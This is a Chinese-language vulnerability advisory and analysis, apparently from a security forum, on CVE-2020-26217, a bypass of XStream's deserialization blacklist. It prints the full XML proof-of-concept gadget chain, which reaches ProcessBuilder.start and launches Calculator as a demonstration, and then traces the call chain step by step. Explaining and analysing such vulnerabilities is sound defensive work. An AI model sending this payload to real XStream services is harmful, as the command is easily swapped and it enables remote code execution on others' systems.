0x01 漏洞描述

CVE-2020-26217出现了新的绕过手法,通过一个黑名单之外的gadget,可以成功绕过之前的补丁造成远程命令执行。包括1.4.13在内的所有版本都会受到漏洞的影响(使用了XStream官方提供的安全框架的系统将不受本次漏洞影响)。

0x02 风险等级

严重

0x03 漏洞详情

PoC已经在官方放出,如下:

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>open</string>
                          <string>-a</string>
                          <string>Calculator</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

演示如下:

XStream作为一个支持将xml转对象的第三方,一直以来都是存在着被利用的风险,而在没有使用官方安全框架的前提下,补丁就只能通过黑名单来进行防御,所以才有了这次全新gadget的绕过,下面针对这一个gadget进行一些原理分析。

XStream在对map类型对象进行反序列化的时候,如果map对象内存在entry,自然需要先实例化一个空map,以及entry,再将entry put到map中


而这次利用的关键就在于这个entry的构造,先去看一下实例化后的这个entry是什么样子的,其中红框标记的地方为poc刻意指定的值,也就是在后续调用栈里需要重点关注的地方,

map在put entry的时候,是需要获取entry的hash的,进而在后续会调用entry的hashCode函数,那我们去看一下NativeString的hashCode函数会去做一些什么,


可以看到经过两个调用栈之后,会去调用value值的toString函数,即Base64Data类的toString,调用toString自然就会调用get函数,看一下Base64Data.get,

get函数生成了一个空的ByteArrayOutputStreamEx对象并将自身的dataHandler的datasource作为参数,传给这个对象的readFrom函数,继而调用了datasource的read函数,即SequenceInputStream.read,

在SequenceInputStream.read函数中会循环调用每个Enumeration的nextElement函数,即MultiUIDefaults$MultiUIDefaultsEnumerator.nextElement,继而去调用对应key的next函数进行迭代,而这个时候的迭代器是精心构造的FilterIterator,


在调用FilterIterator进行迭代的时候,会调用恶意构造的ImageIO$ContainsFilter的filter方法,从而进行了反射调用,而反射的method、param和class都是ContainsFilter的成员对象,攻击者可控,从而造成了rce,

调用链比较长在最后附上调用栈,

0x04 参考链接

https://x-stream.github.io/CVE-2020-26217.html

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖